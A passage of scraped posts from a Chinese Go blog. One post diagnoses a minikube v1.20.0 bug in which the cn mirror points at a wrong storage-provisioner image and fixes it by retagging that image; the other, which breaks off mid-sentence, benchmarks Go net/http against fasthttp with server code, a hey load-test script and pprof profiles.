--:--:-- --:--:-- 0 100 60.9M 100 60.9M 0 0 7764k 0 0:00:08 0:00:08 --:--:-- 11.5M # install minikube-linux-amd64 /usr/local/bin/minikube 验证是否下载ok：\n# minikube version minikube version: v1.20.0 commit: c61663e942ec43b20e8e70839dcca52e44cd85ae 接下来我们就利用minikube启动一个k8s cluster用作本地开发环境。由于minikube默认的最低安装要求为2核cpu，而我的虚机仅为1核，我们需要为minikube传递一些命令行参数以让其在单核CPU上也能顺利地启动一个k8s cluster。另外minikube会从gcr.io这个国内被限制访问的站点下载一些控制平面的容器镜像，为了能让此过程顺利进行下去，我们还需要告诉minikube从哪个gcr.io的mirror站点下载容器镜像：\n# minikube start --extra-config=kubeadm.ignore-preflight-errors=NumCPU --force --cpus 1 --memory=1024mb --image-mirror-country=\u0026#39;cn\u0026#39; minikube v1.20.0 on Ubuntu 18.04 (amd64) minikube skips various validations when --force is supplied; this may lead to unexpected behavior Automatically selected the docker driver. Other choices: ssh, none Requested cpu count 1 is less than the minimum allowed of 2 has less than 2 CPUs available, but Kubernetes requires at least 2 to be available Your cgroup does not allow setting memory. ▪ More information: https://docs.docker.com/engine/install/linux-postinstall/#your-kernel-does-not-support-cgroup-swap-limit-capabilities Requested memory allocation 1024MiB is less than the usable minimum of 1800MB Requested memory allocation (1024MB) is less than the recommended minimum 1900MB. Deployments may fail. The requested memory allocation of 1024MiB does not leave room for system overhead (total system memory: 1833MiB). You may face stability issues. Suggestion: Start minikube with less memory allocated: \u0026#39;minikube start --memory=1833mb\u0026#39; The \u0026#34;docker\u0026#34; driver should not be used with root privileges. If you are running minikube within a VM, consider using --driver=none: https://minikube.sigs.k8s.io/docs/reference/drivers/none/ Using image repository registry.cn-hangzhou.aliyuncs.com/google_containers Starting control plane node minikube in cluster minikube Pulling base image ... \u0026gt; registry.cn-hangzhou.aliyun...: 20.48 MiB / 358.10 MiB 5.72% 2.89 MiB p/ \u0026gt; registry.cn-hangzhou.aliyun...: 358.10 MiB / 358.10 MiB 100.00% 3.50 MiB \u0026gt; registry.cn-hangzhou.aliyun...: 358.10 MiB / 358.10 MiB 100.00% 3.50 MiB \u0026gt; registry.cn-hangzhou.aliyun...: 358.10 MiB / 358.10 MiB 100.00% 3.50 MiB \u0026gt; registry.cn-hangzhou.aliyun...: 358.10 MiB / 358.10 MiB 100.00% 6.83 MiB Creating docker container (CPUs=1, Memory=1024MB) ... Preparing Kubernetes v1.20.2 on Docker 20.10.6 ... ▪ kubeadm.ignore-preflight-errors=NumCPU ▪ Generating certificates and keys ... ▪ Booting up control plane ... ▪ Configuring RBAC rules ... Verifying Kubernetes components... ▪ Using image registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5 (global image repository) Enabled addons: default-storageclass, storage-provisioner /usr/local/bin/kubectl is version 1.17.9, which may have incompatibilites with Kubernetes 1.20.2. ▪ Want kubectl v1.20.2? Try \u0026#39;minikube kubectl -- get pods -A\u0026#39; Done! kubectl is now configured to use \u0026#34;minikube\u0026#34; cluster and \u0026#34;default\u0026#34; namespace by default 查看启动的k8s集群状态：\n# minikube status minikube type: Control Plane host: Running kubelet: Running apiserver: Running kubeconfig: Configured 我们看到minikube似乎成功启动了一个k8s cluster。\n2. pod storage-provisioner处于ErrImagePull状态 在后续使用helm安装redis作为state store组件(components)时，发现安装后的redis处于下面的状态：\n# kubectl get pod NAME READY STATUS RESTARTS AGE redis-master-0 0/1 Pending 0 7m48s redis-replicas-0 0/1 Pending 0 7m48s 通过kubectl describe命令详细查看redis-master-0这个pod：\n# kubectl describe pod redis-master-0 Name: redis-master-0 Namespace: default Priority: 0 Node: \u0026lt;none\u0026gt; Labels: app.kubernetes.io/component=master app.kubernetes.io/instance=redis app.kubernetes.io/managed-by=Helm app.kubernetes.io/name=redis controller-revision-hash=redis-master-694655df77 helm.sh/chart=redis-14.1.1 statefulset.kubernetes.io/pod-name=redis-master-0 Annotations: checksum/configmap: 0898a3adcb5d0cdd6cc60108d941d105cc240250ba6c7f84ed8b5337f1edd470 checksum/health: 1b44d34c6c39698be89b2127b9fcec4395a221cff84aeab4fbd93ff4a636c210 checksum/scripts: 465f195e1bffa9700282b017abc50056099e107d7ce8927fb2b97eb348907484 checksum/secret: cd7ff82a84f998f50b11463c299c1200585036defc7cbbd9c141cc992ad80963 Status: Pending IP: IPs: \u0026lt;none\u0026gt; Controlled By: StatefulSet/redis-master Containers: redis: Image: docker.io/bitnami/redis:6.2.3-debian-10-r0 Port: 6379/TCP Host Port: 0/TCP Command: /bin/bash Args: -c /opt/bitnami/scripts/start-scripts/start-master.sh Liveness: exec [sh -c /health/ping_liveness_local.sh 5] delay=5s timeout=6s period=5s #success=1 #failure=5 Readiness: exec [sh -c /health/ping_readiness_local.sh 1] delay=5s timeout=2s period=5s #success=1 #failure=5 Environment: BITNAMI_DEBUG: false REDIS_REPLICATION_MODE: master ALLOW_EMPTY_PASSWORD: no REDIS_PASSWORD: \u0026lt;set to the key \u0026#39;redis-password\u0026#39; in secret \u0026#39;redis\u0026#39;\u0026gt; Optional: false REDIS_TLS_ENABLED: no REDIS_PORT: 6379 Mounts: /data from redis-data (rw) /health from health (rw) /opt/bitnami/redis/etc/ from redis-tmp-conf (rw) /opt/bitnami/redis/mounted-etc from config (rw) /opt/bitnami/scripts/start-scripts from start-scripts (rw) /tmp from tmp (rw) /var/run/secrets/kubernetes.io/serviceaccount from redis-token-rtxk2 (ro) Conditions: Type Status PodScheduled False Volumes: redis-data: Type: PersistentVolumeClaim (a reference to a PersistentVolumeClaim in the same namespace) ClaimName: redis-data-redis-master-0 ReadOnly: false start-scripts: Type: ConfigMap (a volume populated by a ConfigMap) Name: redis-scripts Optional: false health: Type: ConfigMap (a volume populated by a ConfigMap) Name: redis-health Optional: false config: Type: ConfigMap (a volume populated by a ConfigMap) Name: redis-configuration Optional: false redis-tmp-conf: Type: EmptyDir (a temporary directory that shares a pod\u0026#39;s lifetime) Medium: SizeLimit: \u0026lt;unset\u0026gt; tmp: Type: EmptyDir (a temporary directory that shares a pod\u0026#39;s lifetime) Medium: SizeLimit: \u0026lt;unset\u0026gt; redis-token-rtxk2: Type: Secret (a volume populated by a Secret) SecretName: redis-token-rtxk2 Optional: false QoS Class: BestEffort Node-Selectors: \u0026lt;none\u0026gt; Tolerations: node.kubernetes.io/not-ready:NoExecute for 300s node.kubernetes.io/unreachable:NoExecute for 300s Events: Type Reason Age From Message ---- ------ ---- ---- ------- Warning FailedScheduling 18s (x6 over 5m7s) default-scheduler 0/1 nodes are available: 1 pod has unbound immediate PersistentVolumeClaims. 我们发现是该pod的PersistentVolumeClaims没有得到满足，没有绑定到适当PV(persistent volume)上。查看pvc的状态，也都是pending：\n# kubectl get pvc NAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE redis-data-redis-master-0 Pending standard 35m redis-data-redis-replicas-0 Pending standard 35m 详细查看其中一个pvc的状态：\n# kubectl describe pvc redis-data-redis-master-0 Name: redis-data-redis-master-0 Namespace: default StorageClass: standard Status: Pending Volume: Labels: app.kubernetes.io/component=master app.kubernetes.io/instance=redis app.kubernetes.io/name=redis Annotations: volume.beta.kubernetes.io/storage-provisioner: k8s.io/minikube-hostpath Finalizers: [kubernetes.io/pvc-protection] Capacity: Access Modes: VolumeMode: Filesystem Mounted By: redis-master-0 Events: Type Reason Age From Message ---- ------ ---- ---- ------- Normal ExternalProvisioning 55s (x143 over 35m) persistentvolume-controller waiting for a volume to be created, either by external provisioner \u0026#34;k8s.io/minikube-hostpath\u0026#34; or manually created by system administrator 我们看到该pvc在等待绑定一个volume，而k8s cluster当前在default命名空间中没有任何pv资源。问题究竟出在哪里？\n我们回到minikube自身上来，在minikube文档中，负责自动创建HostPath类型pv的是storage-provisioner插件：\n图：minikube插件使能情况\n我们看到storage-provisioner插件的状态为enabled，那么为什么该插件没能为redis提供需要的pv资源呢？我顺便查看了一下当前k8s cluster的控制平面组件的运行情况：\n# kubectl get po -n kube-system NAMESPACE NAME READY STATUS RESTARTS AGE kube-system coredns-54d67798b7-n6vw4 1/1 Running 0 20h kube-system etcd-minikube 1/1 Running 0 20h kube-system kube-apiserver-minikube 1/1 Running 0 20h kube-system kube-controller-manager-minikube 1/1 Running 0 20h kube-system kube-proxy-rtvvj 1/1 Running 0 20h kube-system kube-scheduler-minikube 1/1 Running 0 20h kube-system storage-provisioner 0/1 ImagePullBackOff 0 20h 我们惊奇的发现：storage-provisioner这个pod居然处于ImagePullBackOff状态，即下载镜像有误！\n3. 发现真相 还记得在minikube start命令的输出信息的末尾，我们看到这样一行内容：\nUsing image registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5 (global image repository) 也就是说我们从registry.cn-hangzhou.aliyuncs.com下载storage-provisioner:v5有错误！我手动在本地执行了一下下面命令：\n# docker pull registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5 Error response from daemon: pull access denied for registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner, repository does not exist or may require \u0026#39;docker login\u0026#39;: denied: requested access to the resource is denied 居然真的无法下载成功！\n究竟是什么地方出现问题了呢？从提示来看，要么是该镜像不存在，要么是docker login被拒绝，由于registry.cn-hangzhou.aliyuncs.com是公共仓库，因此不存在docker login的问题，那么就剩下一个原因了：镜像不存在！\n于是我在minikube官方的issue试着搜索了一下有关registry.cn-hangzhou.aliyuncs.com作为mirror的问题，还真让我捕捉到了蛛丝马迹。\n在https://github.com/kubernetes/minikube/pull/10770这PR中，有人提及当–image-mirror-country使用cn时，minikube使用了错误的storage-provisioner镜像，镜像的地址不应该是registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5，而应该是registry.cn-hangzhou.aliyuncs.com/google_containers/storage-provisioner:v5。\n我在本地试了一下registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5，的确可以下载成功：\n# docker pull registry.cn-hangzhou.aliyuncs.com/google_containers/storage-provisioner:v5 v5: Pulling from google_containers/storage-provisioner Digest: sha256:18eb69d1418e854ad5a19e399310e52808a8321e4c441c1dddad8977a0d7a944 Status: Image is up to date for registry.cn-hangzhou.aliyuncs.com/google_containers/storage-provisioner:v5 registry.cn-hangzhou.aliyuncs.com/google_containers/storage-provisioner:v5 4. 解决问题 发现问题真相：当–image-mirror-country使用cn时，minikube使用了错误的storage-provisioner镜像。那我们如何修正这个问题呢？\n我们查看一下storage-provisioner pod的imagePullPolicy：\n# kubectl get pod storage-provisioner -n kube-system -o yaml ... ... spec: containers: - command: - /storage-provisioner image: registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5 imagePullPolicy: IfNotPresent name: storage-provisioner 我们发现storage-provisioner的imagePullPolicy为ifNotPresent，这意味着如果本地有storage-provisioner:v5这个镜像的话，minikube不会再去远端下载该image。这样我们可以先将storage-provisioner:v5下载到本地并重新tag为registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5。\n下面我们就来操作一下：\n# docker tag registry.cn-hangzhou.aliyuncs.com/google_containers/storage-provisioner:v5 registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5 一旦有了image，通过minikube addons子命令重新enable对应pod，可以重启storage-provisioner pod，让其进入正常状态：\n# minikube addons enable storage-provisioner ▪ Using image registry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner:v5 (global image repository) The \u0026#39;storage-provisioner\u0026#39; addon is enabled # kubectl get po -n kube-system NAME READY STATUS RESTARTS AGE coredns-54d67798b7-n6vw4 1/1 Running 0 25h etcd-minikube 1/1 Running 0 25h kube-apiserver-minikube 1/1 Running 0 25h kube-controller-manager-minikube 1/1 Running 0 25h kube-proxy-rtvvj 1/1 Running 0 25h kube-scheduler-minikube 1/1 Running 0 25h storage-provisioner 1/1 Running 0 69m 当storgae-provisioner恢复正常后，之前安装的dapr state component组件redis也自动恢复正常了：\n# kubectl get pod NAME READY STATUS RESTARTS AGE redis-master-0 1/1 Running 0 18h redis-replicas-0 1/1 Running 1 18h redis-replicas-1 1/1 Running 0 16h redis-replicas-2 1/1 Running 0 16h “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/05/14/a-bug-of-minikube-1-20/","summary":"\u003cp\u003e\u003cimg alt=\"img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-bug-of-minikube-1-20-0.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/05/14/a-bug-of-minikube-1-20\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/05/14/a-bug-of-minikube-1-20\"\u003ehttps://tonybai.com/2021/05/14/a-bug-of-minikube-1-20\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近期在研究\u003ca href=\"https://dapr.io\"\u003edapr(分布式应用运行时)\u003c/a\u003e，这是一个很朴素却很棒的想法，目前大厂，如\u003ca href=\"https://mp.weixin.qq.com/s/Dsb7rwu5tRAizJ7Wdr23Fw\"\u003e阿里\u003c/a\u003e和\u003ca href=\"https://mp.weixin.qq.com/s/4HHMVxa3l_gCsltoX4euyg\"\u003e鹅厂\u003c/a\u003e都有大牛在研究该项目，甚至是利用dapr落地了部分应用。关于dapr，后续我也会用单独的文章详细说说。\u003c/p\u003e\n\u003cp\u003edapr不仅支持k8s部署，还支持本地部署，并可以对接多个世界知名的公有云厂商的服务，比如：aws、azure、阿里云等。为了体验dapr对云原生应用的支持，我选择了将其部署于k8s中，同时我选择使用\u003ca href=\"https://github.com/kubernetes/minikube\"\u003eminikube\u003c/a\u003e来构建本地k8s开发环境。而本文要说的就是将dapr安装到minikube时遇到的问题。\u003c/p\u003e","title":"minikube v1.20.0版本的一个bug"},{"content":"\n本文永久链接 – https://tonybai.com/2021/04/25/server-side-performance-nethttp-vs-fasthttp\n1. 背景 Go初学者学习Go时，在编写了经典的“hello, world”程序之后，可能会迫不及待的体验一下Go强大的标准库，比如：用几行代码写一个像下面示例这样拥有完整功能的web server：\n// 来自https://tip.golang.org/pkg/net/http/#example_ListenAndServe package main import ( \u0026#34;io\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { helloHandler := func(w http.ResponseWriter, req *http.Request) { io.WriteString(w, \u0026#34;Hello, world!\\n\u0026#34;) } http.HandleFunc(\u0026#34;/hello\u0026#34;, helloHandler) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } go net/http包是一个比较均衡的通用实现，能满足大多数gopher 90%以上场景的需要，并且具有如下优点：\n标准库包，无需引入任何第三方依赖； 对http规范的满足度较好； 无需做任何优化，即可获得相对较高的性能； 支持HTTP代理； 支持HTTPS； 无缝支持HTTP/2。 不过也正是因为http包的“均衡”通用实现，在一些对性能要求严格的领域，net/http的性能可能无法胜任，也没有太多的调优空间。这时我们会将眼光转移到其他第三方的http服务端框架实现上。\n而在第三方http服务端框架中，一个“行如其名”的框架fasthttp被提及和采纳的较多，fasthttp官网宣称其性能是net/http的十倍(基于go test benchmark的测试结果)。\nfasthttp采用了许多性能优化上的最佳实践，尤其是在内存对象的重用上，大量使用sync.Pool以降低对Go GC的压力。\n那么在真实环境中，到底fasthttp能比net/http快多少呢？恰好手里有两台性能还不错的服务器可用，在本文中我们就在这个真实环境下看看他们的实际性能。\n2. 性能测试 我们分别用net/http和fasthttp实现两个几乎“零业务”的被测程序：\nnethttp: // github.com/bigwhite/experiments/blob/master/http-benchmark/nethttp/main.go package main import ( _ \u0026#34;expvar\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; _ \u0026#34;net/http/pprof\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;time\u0026#34; ) func main() { go func() { for { log.Println(\u0026#34;当前routine数量:\u0026#34;, runtime.NumGoroutine()) time.Sleep(time.Second) } }() http.Handle(\u0026#34;/\u0026#34;, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(\u0026#34;Hello, Go!\u0026#34;)) })) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } fasthttp: // github.com/bigwhite/experiments/blob/master/http-benchmark/fasthttp/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;time\u0026#34; _ \u0026#34;expvar\u0026#34; _ \u0026#34;net/http/pprof\u0026#34; \u0026#34;github.com/valyala/fasthttp\u0026#34; ) type HelloGoHandler struct { } func fastHTTPHandler(ctx *fasthttp.RequestCtx) { fmt.Fprintln(ctx, \u0026#34;Hello, Go!\u0026#34;) } func main() { go func() { http.ListenAndServe(\u0026#34;:6060\u0026#34;, nil) }() go func() { for { log.Println(\u0026#34;当前routine数量:\u0026#34;, runtime.NumGoroutine()) time.Sleep(time.Second) } }() s := \u0026amp;fasthttp.Server{ Handler: fastHTTPHandler, } s.ListenAndServe(\u0026#34;:8081\u0026#34;) } 对被测目标实施压力测试的客户端，我们基于hey这个http压测工具进行，为了方便调整压力水平，我们将hey“包裹”在下面这个shell脚本中(仅适于在linux上运行)：\n// github.com/bigwhite/experiments/blob/master/http-benchmark/client/http_client_load.sh # ./http_client_load.sh 3 10000 10 GET http://10.10.195.181:8080 echo \u0026#34;$0 task_num count_per_hey conn_per_hey method url\u0026#34; task_num=$1 count_per_hey=$2 conn_per_hey=$3 method=$4 url=$5 start=$(date +%s%N) for((i=1; i\u0026lt;=$task_num; i++)); do { tm=$(date +%T.%N) echo \u0026#34;$tm: task $i start\u0026#34; hey -n $count_per_hey -c $conn_per_hey -m $method $url \u0026gt; hey_$i.log tm=$(date +%T.%N) echo \u0026#34;$tm: task $i done\u0026#34; } \u0026amp; done wait end=$(date +%s%N) count=$(( $task_num * $count_per_hey )) runtime_ns=$(( $end - $start )) runtime=`echo \u0026#34;scale=2; $runtime_ns / 1000000000\u0026#34; | bc` echo \u0026#34;runtime: \u0026#34;$runtime speed=`echo \u0026#34;scale=2; $count / $runtime\u0026#34; | bc` echo \u0026#34;speed: \u0026#34;$speed 该脚本的执行示例如下：\nbash http_client_load.sh 8 1000000 200 GET http://10.10.195.134:8080 http_client_load.sh task_num count_per_hey conn_per_hey method url 16:58:09.146948690: task 1 start 16:58:09.147235080: task 2 start 16:58:09.147290430: task 3 start 16:58:09.147740230: task 4 start 16:58:09.147896010: task 5 start 16:58:09.148314900: task 6 start 16:58:09.148446030: task 7 start 16:58:09.148930840: task 8 start 16:58:45.001080740: task 3 done 16:58:45.241903500: task 8 done 16:58:45.261501940: task 1 done 16:58:50.032383770: task 4 done 16:58:50.985076450: task 7 done 16:58:51.269099430: task 5 done 16:58:52.008164010: task 6 done 16:58:52.166402430: task 2 done runtime: 43.02 speed: 185960.01 从传入的参数来看，该脚本并行启动了8个task(一个task启动一个hey)，每个task向http://10.10.195.134:8080建立200个并发连接，并发送100w http GET请求。\n我们使用两台服务器分别放置被测目标程序和压力工具脚本：\n目标程序所在服务器：10.10.195.181(物理机，Intel x86-64 CPU，40核，128G内存, CentOs 7.6) $ cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) $ lscpu Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian CPU(s): 40 On-line CPU(s) list: 0-39 Thread(s) per core: 2 Core(s) per socket: 10 座： 2 NUMA 节点： 2 厂商 ID： GenuineIntel CPU 系列： 6 型号： 85 型号名称： Intel(R) Xeon(R) Silver 4114 CPU @ 2.20GHz 步进： 4 CPU MHz： 800.000 CPU max MHz: 2201.0000 CPU min MHz: 800.0000 BogoMIPS： 4400.00 虚拟化： VT-x L1d 缓存： 32K L1i 缓存： 32K L2 缓存： 1024K L3 缓存： 14080K NUMA 节点0 CPU： 0-9,20-29 NUMA 节点1 CPU： 10-19,30-39 Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb cat_l3 cdp_l3 intel_pt ssbd mba ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm cqm mpx rdt_a avx512f avx512dq rdseed adx smap clflushopt clwb avx512cd avx512bw avx512vl xsaveopt xsavec xgetbv1 cqm_llc cqm_occup_llc cqm_mbm_total cqm_mbm_local dtherm ida arat pln pts pku ospke spec_ctrl intel_stibp flush_l1d 压力工具所在服务器：10.10.195.133(物理机，鲲鹏arm64 cpu，96核，80G内存, CentOs 7.9) # cat /etc/redhat-release CentOS Linux release 7.9.2009 (AltArch) # lscpu Architecture: aarch64 Byte Order: Little Endian CPU(s): 96 On-line CPU(s) list: 0-95 Thread(s) per core: 1 Core(s) per socket: 48 座： 2 NUMA 节点： 4 型号： 0 CPU max MHz: 2600.0000 CPU min MHz: 200.0000 BogoMIPS： 200.00 L1d 缓存： 64K L1i 缓存： 64K L2 缓存： 512K L3 缓存： 49152K NUMA 节点0 CPU： 0-23 NUMA 节点1 CPU： 24-47 NUMA 节点2 CPU： 48-71 NUMA 节点3 CPU： 72-95 Flags: fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm jscvt fcma dcpop asimddp asimdfhm 我用dstat监控被测目标所在主机资源占用情况(dstat -tcdngym)，尤其是cpu负荷；通过expvarmon监控memstats，由于没有业务，内存占用很少；通过go tool pprof查看目标程序中对各类资源消耗情况的排名。\n下面是多次测试后制作的一个数据表格：\n图：测试数据\n3. 对结果的简要分析 受特定场景、测试工具及脚本精确性以及压力测试环境的影响，上面的测试结果有一定局限，但却真实反映了被测目标的性能趋势。我们看到在给予同样压力的情况下，fasthttp并没有10倍于net http的性能，甚至在这样一个特定的场景下，两倍于net/http的性能都没有达到：我们看到在目标主机cpu资源消耗接近70%的几个用例中，fasthttp的性能仅比net/http高出30%~70%左右。\n那么为什么fasthttp的性能未及预期呢？要回答这个问题，那就要看看net/http和fasthttp各自的实现原理了！我们先来看看net/http的工作原理示意图：\n图：nethttp工作原理示意图\nhttp包作为server端的原理很简单，那就是accept到一个连接(conn)之后，将这个conn甩给一个worker goroutine去处理，后者一直存在，直到该conn的生命周期结束：即连接关闭。\n下面是fasthttp的工作原理示意图：\n图：fasthttp工作原理示意图\n而fasthttp设计了一套机制，目的是尽量复用goroutine，而不是每次都创建新的goroutine。fasthttp的Server accept一个conn之后，会尝试从workerpool中的ready切片中取出一个channel，该channel与某个worker goroutine一一对应。一旦取出channel，就会将accept到的conn写到该channel里，而channel另一端的worker goroutine就会处理该conn上的数据读写。当处理完该conn后，该worker goroutine不会退出，而是会将自己对应的那个channel重新放回workerpool中的ready切片中，等待这下一次被取出。\nfasthttp的goroutine复用策略初衷很好，但在这里的测试场景下效果不明显，从测试结果便可看得出来，在相同的客户端并发和压力下，net/http使用的goroutine数量与fasthttp相差无几。这是由测试模型导致的：在我们这个测试中，每个task中的hey都会向被测目标发起固定数量的长连接(keep-alive)，然后在每条连接上发起“饱和”请求。这样fasthttp workerpool中的goroutine一旦接收到某个conn就只能在该conn上的通讯结束后才能重新放回，而该conn直到测试结束才会close，因此这样的场景相当于让fasthttp“退化”成了net/http的模型，也染上了net/http的“缺陷”：goroutine的数量一旦多起来，go runtime自身调度所带来的消耗便不可忽视甚至超过了业务处理所消耗的资源占比。下面分别是fasthttp在200长连接、8000长连接以及16000长连接下的cpu profile的结果：\n200长连接： (pprof) top -cum Showing nodes accounting for 88.17s, 55.35% of 159.30s total Dropped 150 nodes (cum \u0026lt;= 0.80s) Showing top 10 nodes out of 60 flat flat% sum% cum cum% 0.46s 0.29% 0.29% 101.46s 63.69% github.com/valyala/fasthttp.(*Server).serveConn 0 0% 0.29% 101.46s 63.69% github.com/valyala/fasthttp.(*workerPool).getCh.func1 0 0% 0.29% 101.46s 63.69% github.com/valyala/fasthttp.(*workerPool).workerFunc 0.04s 0.025% 0.31% 89.46s 56.16% internal/poll.ignoringEINTRIO (inline) 87.38s 54.85% 55.17% 89.27s 56.04% syscall.Syscall 0.12s 0.075% 55.24% 60.39s 37.91% bufio.(*Writer).Flush 0 0% 55.24% 60.22s 37.80% net.(*conn).Write 0.08s 0.05% 55.29% 60.21s 37.80% net.(*netFD).Write 0.09s 0.056% 55.35% 60.12s 37.74% internal/poll.(*FD).Write 0 0% 55.35% 59.86s 37.58% syscall.Write (inline) (pprof) 8000长连接： (pprof) top -cum Showing nodes accounting for 108.51s, 54.46% of 199.23s total Dropped 204 nodes (cum \u0026lt;= 1s) Showing top 10 nodes out of 66 flat flat% sum% cum cum% 0 0% 0% 119.11s 59.79% github.com/valyala/fasthttp.(*workerPool).getCh.func1 0 0% 0% 119.11s 59.79% github.com/valyala/fasthttp.(*workerPool).workerFunc 0.69s 0.35% 0.35% 119.05s 59.76% github.com/valyala/fasthttp.(*Server).serveConn 0.04s 0.02% 0.37% 104.22s 52.31% internal/poll.ignoringEINTRIO (inline) 101.58s 50.99% 51.35% 103.95s 52.18% syscall.Syscall 0.10s 0.05% 51.40% 79.95s 40.13% runtime.mcall 0.06s 0.03% 51.43% 79.85s 40.08% runtime.park_m 0.23s 0.12% 51.55% 79.30s 39.80% runtime.schedule 5.67s 2.85% 54.39% 77.47s 38.88% runtime.findrunnable 0.14s 0.07% 54.46% 68.96s 34.61% bufio.(*Writer).Flush 16000长连接： (pprof) top -cum Showing nodes accounting for 239.60s, 87.07% of 275.17s total Dropped 190 nodes (cum \u0026lt;= 1.38s) Showing top 10 nodes out of 46 flat flat% sum% cum cum% 0.04s 0.015% 0.015% 153.38s 55.74% runtime.mcall 0.01s 0.0036% 0.018% 153.34s 55.73% runtime.park_m 0.12s 0.044% 0.062% 153s 55.60% runtime.schedule 0.66s 0.24% 0.3% 152.66s 55.48% runtime.findrunnable 0.15s 0.055% 0.36% 127.53s 46.35% runtime.netpoll 127.04s 46.17% 46.52% 127.04s 46.17% runtime.epollwait 0 0% 46.52% 121s 43.97% github.com/valyala/fasthttp.(*workerPool).getCh.func1 0 0% 46.52% 121s 43.97% github.com/valyala/fasthttp.(*workerPool).workerFunc 0.41s 0.15% 46.67% 120.18s 43.67% github.com/valyala/fasthttp.(*Server).serveConn 111.17s 40.40% 87.07% 111.99s 40.70% syscall.Syscall (pprof) 通过上述profile的比对，我们发现当长连接数量增多时(即workerpool中goroutine数量增多时），go runtime调度的占比会逐渐提升，在16000连接时，runtime调度的各个函数已经排名前4了。\n4. 优化途径 从上面的测试结果，我们看到fasthttp的模型不太适合这种连接连上后进行持续“饱和”请求的场景，更适合短连接或长连接但没有持续饱和请求，在后面这样的场景下，它的goroutine复用模型才能更好的得以发挥。\n但即便“退化”为了net/http模型，fasthttp的性能依然要比net/http略好，这是为什么呢？这些性能提升主要是fasthttp在内存分配层面的优化trick的结果，比如大量使用sync.Pool，比如避免在[]byte和string互转等。\n那么，在持续“饱和”请求的场景下，如何让fasthttp workerpool中goroutine的数量不会因conn的增多而线性增长呢？fasthttp官方没有给出答案，但一条可以考虑的路径是使用os的多路复用(linux上的实现为epoll)，即go runtime 